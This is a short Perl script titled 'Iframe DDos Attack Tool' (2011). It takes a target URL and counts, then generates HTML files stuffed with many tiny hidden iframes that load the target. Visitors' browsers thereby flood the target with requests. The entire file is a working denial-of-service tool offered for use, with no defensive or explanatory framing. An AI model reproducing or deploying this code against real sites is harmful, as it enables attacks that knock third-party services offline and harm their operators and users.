#!usr/bin/perl
#Iframe DDos Attack Tool (C) Doddy Hackman 2011
 
use Cwd;
 
installer();
 
sub head {
print "\n\n-- == Iframe DDos Attack Tool == --\n\n"; 
}
 
sub copyright {
print "\n\n -- == Doddy Hackman 2011\n\n";
}
 
sub sintax {
print "\n[+] sintax : $0 <target> <count file> <count iframe>\n"; 
}
 
sub start {
my ($target,$files,$iframe) = @_;
print "\n[+] Starting the party\n\n";
print "[+] Generating files and iframes\n";
print "\n[+] All Save in ".getcwd()."/files/"."\n";
for my $can(1..$files) {
open (POC,">>files/index".$can.".html");
for my $tx(1..$iframe) {
print POC '<iframe src="'.$target.'" width="3" height="3"></iframe><br>';
} 
close POC;
}
}
 
head();
unless(@ARGV > 2) {
sintax();
} else {
start($ARGV[0],$ARGV[1],$ARGV[2]);
}
copyright();
 
sub installer { 
unless (-d "files/") {
mkdir("files/","777");
}}
 
# ¿ The End ?